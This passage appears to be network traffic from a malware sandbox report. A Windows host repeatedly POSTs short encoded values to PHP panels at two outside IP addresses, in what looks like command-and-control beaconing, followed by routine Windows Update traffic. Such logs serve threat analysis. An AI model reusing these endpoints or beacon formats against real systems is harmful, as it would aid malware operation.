Apr 19, 2024 03:37:10.799377918 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:11.044140100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1573	192.168.2.5	51430	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:11.275806904 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:11.523113012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1574	192.168.2.5	51431	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:11.374311924 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:11.626435041 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1575	192.168.2.5	51432	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:11.775744915 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:12.024138927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1576	192.168.2.5	51433	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:11.877244949 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:12.130733013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1577	192.168.2.5	51434	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:12.359199047 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:12.608380079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1578	192.168.2.5	51435	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:12.461499929 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:12.705215931 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1579	192.168.2.5	51436	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:12.863676071 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:13.123030901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1580	192.168.2.5	51437	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:12.953463078 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:13.203063011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1581	192.168.2.5	51438	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:13.447899103 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:13.695905924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1582	192.168.2.5	51439	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:13.535720110 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:13.779119968 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1583	192.168.2.5	51440	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:13.943561077 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:14.189446926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1584	192.168.2.5	51441	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:14.027424097 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:14.277661085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1585	192.168.2.5	51442	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:14.510479927 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:14.759174109 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1586	192.168.2.5	51443	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:14.617121935 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:14.865086079 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1587	192.168.2.5	51444	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:15.012197971 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:15.266007900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1588	192.168.2.5	51445	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:15.118655920 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:15.372178078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:28:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YVSahsnONFm9PMs&MD=We8PUgeO HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-19 01:28:15 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b39d04e5-6196-4d38-b40e-824777f16803 MS-RequestId: 9bbf82f9-f129-4af0-beb0-a1c7bab85e58 MS-CV: 6e7UWksuU0CnpPv3.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 19 Apr 2024 01:28:14 GMT Connection: close Content-Length: 24490
2024-04-19 01:28:15 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-19 01:28:15 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:28:53 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YVSahsnONFm9PMs&MD=We8PUgeO HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-19 01:28:53 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 9bcbd3cc-de13-48cf-8002-f854d8109664 MS-RequestId: 72147229-14ef-42ae-a6e1-c407b04c8331 MS-CV: JkU2a/ndMECeVuo9.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 19 Apr 2024 01:28:52 GMT Connection: close Content-Length: 25457
2024-04-19 01:28:53 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-19 01:28:53 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49725	64.233.185.136	443	2956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
